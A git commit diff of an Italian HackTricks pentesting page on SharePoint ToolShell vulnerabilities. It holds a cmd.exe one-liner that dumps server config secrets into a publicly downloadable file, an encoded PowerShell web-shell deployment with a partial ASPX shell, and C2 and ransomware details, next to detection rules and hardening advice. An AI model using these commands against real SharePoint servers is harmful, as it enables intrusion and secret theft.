mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/microsoft-sh
This commit is contained in:
parent
72c7b9be1b
commit
610a3bf9a1
@ -29,7 +29,7 @@ python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>
|
||||
|
||||
### 2.2 CVE-2025-49706 – Improper Authentication Bypass
|
||||
|
||||
La stessa pagina si fida dell'intestazione **X-Forms_BaseUrl** per determinare il contesto del sito. Puntandola a `/_layouts/15/`, la MFA/SSO imposta nel sito principale può essere bypassata **senza autenticazione**.
|
||||
La stessa pagina si fida dell'intestazione **X-Forms_BaseUrl** per determinare il contesto del sito. Puntandola a `/_layouts/15/`, l'MFA/SSO applicato al sito principale può essere bypassato **senza autenticazione**.
|
||||
|
||||
### 2.3 CVE-2025-53770 – Unauthenticated ViewState Deserialization → RCE
|
||||
|
||||
@ -58,13 +58,13 @@ Inviare un parametro `Source` creato a `ToolPane.aspx` (ad es. `../../../../web.
|
||||
```
|
||||
cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"
|
||||
```
|
||||
Il file risultante `debug_dev.js` può essere scaricato in modo anonimo e contiene **tutte** le configurazioni sensibili.
|
||||
Il file `debug_dev.js` risultante può essere scaricato in modo anonimo e contiene **tutte** le configurazioni sensibili.
|
||||
|
||||
### 3.2 Distribuire una shell web ASPX codificata in Base64 (variazione-2)
|
||||
```
|
||||
powershell.exe -EncodedCommand <base64>
|
||||
```
|
||||
Esempio di payload decodificato (abbreviato):
|
||||
Esempio di payload decodificato (accorciato):
|
||||
```csharp
|
||||
<%@ Page Language="C#" %>
|
||||
<%@ Import Namespace="System.Security.Cryptography" %>
|
||||
@ -86,16 +86,67 @@ La shell espone endpoint per **leggere / ruotare le chiavi della macchina** che
|
||||
Stessa shell ma:
|
||||
* posizionata sotto `...\15\TEMPLATE\LAYOUTS\`
|
||||
* nomi delle variabili ridotti a lettere singole
|
||||
* `Thread.Sleep(<ms>)` aggiunto per evasione della sandbox e bypass basato sul timing.
|
||||
* `Thread.Sleep(<ms>)` aggiunto per evasione della sandbox e bypass dell'AV basato sul timing.
|
||||
|
||||
### 3.4 Backdoor multi-protocollo AK47C2 e ransomware X2ANYLOCK (osservato 2025-2026)
|
||||
|
||||
Indagini recenti di risposta agli incidenti (Unit42 “Project AK47”) mostrano come gli attaccanti sfruttino la catena ToolShell **dopo il RCE iniziale** per distribuire un impianto C2 a doppio canale e ransomware negli ambienti SharePoint:
|
||||
|
||||
#### AK47C2 – variante `dnsclient`
|
||||
|
||||
* Server DNS hard-coded: `10.7.66.10` che comunica con il dominio autorevole `update.updatemicfosoft.com`.
|
||||
* I messaggi sono oggetti JSON crittografati con XOR con la chiave statica `VHBD@H`, codificati in esadecimale e incorporati come **etichette di sottodominio**.
|
||||
|
||||
```json
|
||||
{"cmd":"<COMMAND>","cmd_id":"<ID>"}
|
||||
```
|
||||
|
||||
* Le query lunghe sono suddivise e prefissate con `s`, quindi riassemblate lato server.
|
||||
* Il server risponde in record TXT che trasportano lo stesso schema XOR/esadecimale:
|
||||
|
||||
```json
|
||||
{"cmd":"<COMMAND>","cmd_id":"<ID>","type":"result","fqdn":"<HOST>","result":"<OUTPUT>"}
|
||||
```
|
||||
* La versione 202504 ha introdotto un formato semplificato `<COMMAND>::<SESSION_KEY>` e marcatori di chunk `1`, `2`, `a`.
|
||||
|
||||
#### AK47C2 – variante `httpclient`
|
||||
|
||||
* Riutilizza esattamente la routine JSON & XOR ma invia il blob esadecimale nel **corpo HTTP POST** tramite `libcurl` (`CURLOPT_POSTFIELDS`, ecc.).
|
||||
* Stesso flusso di lavoro per compiti/risultati che consente:
|
||||
* Esecuzione arbitraria di comandi shell.
|
||||
* Intervallo di sonno dinamico e istruzioni di kill-switch.
|
||||
|
||||
#### Ransomware X2ANYLOCK
|
||||
|
||||
* Payload C++ a 64 bit caricato tramite side-loading DLL (vedi sotto).
|
||||
* Utilizza AES-CBC per i dati dei file + RSA-2048 per avvolgere la chiave AES, quindi aggiunge l'estensione `.x2anylock`.
|
||||
* Cripta ricorsivamente i drive locali e le condivisioni SMB scoperte; salta i percorsi di sistema.
|
||||
* Rilascia una nota in chiaro `How to decrypt my data.txt` incorporando un **Tox ID** statico per le negoziazioni.
|
||||
* Contiene un **kill-switch** interno:
|
||||
|
||||
```c
|
||||
if (file_mod_time >= "2026-06-06") exit(0);
|
||||
```
|
||||
|
||||
#### Catena di side-loading DLL
|
||||
|
||||
1. L'attaccante scrive `dllhijacked.dll`/`My7zdllhijacked.dll` accanto a un legittimo `7z.exe`.
|
||||
2. `w3wp.exe` generato da SharePoint avvia `7z.exe`, che carica la DLL malevola a causa dell'ordine di ricerca di Windows, invocando il punto di ingresso del ransomware in memoria.
|
||||
3. Un caricatore LockBit separato osservato (`bbb.msi` ➜ `clink_x86.exe` ➜ `clink_dll_x86.dll`) decritta il codice shell e esegue **DLL hollowing** in `d3dl1.dll` per eseguire LockBit 3.0.
|
||||
|
||||
> [!INFO]
|
||||
> Lo stesso Tox ID statico trovato in X2ANYLOCK appare nei database LockBit trapelati, suggerendo sovrapposizione tra affiliati.
|
||||
|
||||
---
|
||||
|
||||
## 4. Idee di rilevamento
|
||||
|
||||
| Telemetria | Perché è sospetta |
|
||||
|------------|-------------------|
|
||||
|-----------|----------------------|
|
||||
| `w3wp.exe → cmd.exe` | Il processo worker dovrebbe raramente generare una shell |
|
||||
| `cmd.exe → powershell.exe -EncodedCommand` | Modello classico di lolbin |
|
||||
| Eventi di file che creano `debug_dev.js` o `spinstall0.aspx` | IOCs direttamente da ToolShell |
|
||||
| `ProcessCmdLine CONTIENE ToolPane.aspx` (log ETW/Modulo) | PoC pubbliche invocano questa pagina |
|
||||
| `cmd.exe → powershell.exe -EncodedCommand` | Classico pattern lolbin |
|
||||
| Eventi file che creano `debug_dev.js` o `spinstall0.aspx` | IOC direttamente da ToolShell |
|
||||
| `ProcessCmdLine CONTAINS ToolPane.aspx` (log ETW/Module) | PoC pubblici invocano questa pagina |
|
||||
|
||||
Esempio di regola XDR / Sysmon (pseudo-XQL):
|
||||
```
|
||||
@ -104,14 +155,14 @@ proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powers
|
||||
## 5. Indurimento e Mitigazione
|
||||
|
||||
1. **Patch** – Gli aggiornamenti di sicurezza di luglio 2025 risolvono *tutti* e quattro i CVE.
|
||||
2. **Ruotare** ogni `<machineKey>` e i segreti di `ViewState` dopo una compromissione.
|
||||
2. **Ruotare** ogni `<machineKey>` e segreti `ViewState` dopo una compromissione.
|
||||
3. Rimuovere il permesso di scrittura *LAYOUTS* dai gruppi `WSS_WPG` e `WSS_ADMIN_WPG`.
|
||||
4. Bloccare l'accesso esterno a `/_layouts/15/ToolPane.aspx` a livello di proxy/WAF.
|
||||
5. Abilitare **ViewStateUserKey**, **MAC abilitato** e *EventValidation* personalizzato.
|
||||
5. Abilitare **ViewStateUserKey**, **MAC abilitato**, e *EventValidation* personalizzato.
|
||||
|
||||
## Trucchi correlati
|
||||
|
||||
* Post-sfruttamento di IIS e abuso di web.config:
|
||||
* IIS post-exploitation e abuso di web.config:
|
||||
{{#ref}}
|
||||
../../network-services-pentesting/pentesting-web/iis-internet-information-services.md
|
||||
{{#endref}}
|
||||
@ -119,8 +170,9 @@ proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powers
|
||||
## Riferimenti
|
||||
|
||||
- [Unit42 – Sfruttamento attivo delle vulnerabilità di Microsoft SharePoint](https://unit42.paloaltonetworks.com/microsoft-sharepoint-cve-2025-49704-cve-2025-49706-cve-2025-53770/)
|
||||
- [GitHub PoC – Catena di sfruttamento ToolShell](https://github.com/real-or-not/ToolShell)
|
||||
- [Avviso di sicurezza Microsoft – CVE-2025-49704 / 49706](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-49704)
|
||||
- [Avviso di sicurezza Microsoft – CVE-2025-53770 / 53771](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-53770)
|
||||
- [GitHub PoC – Catena di exploit ToolShell](https://github.com/real-or-not/ToolShell)
|
||||
- [Microsoft Security Advisory – CVE-2025-49704 / 49706](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-49704)
|
||||
- [Unit42 – Progetto AK47 / Sfruttamento di SharePoint e attività di ransomware](https://unit42.paloaltonetworks.com/ak47-activity-linked-to-sharepoint-vulnerabilities/)
|
||||
- [Microsoft Security Advisory – CVE-2025-53770 / 53771](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-53770)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user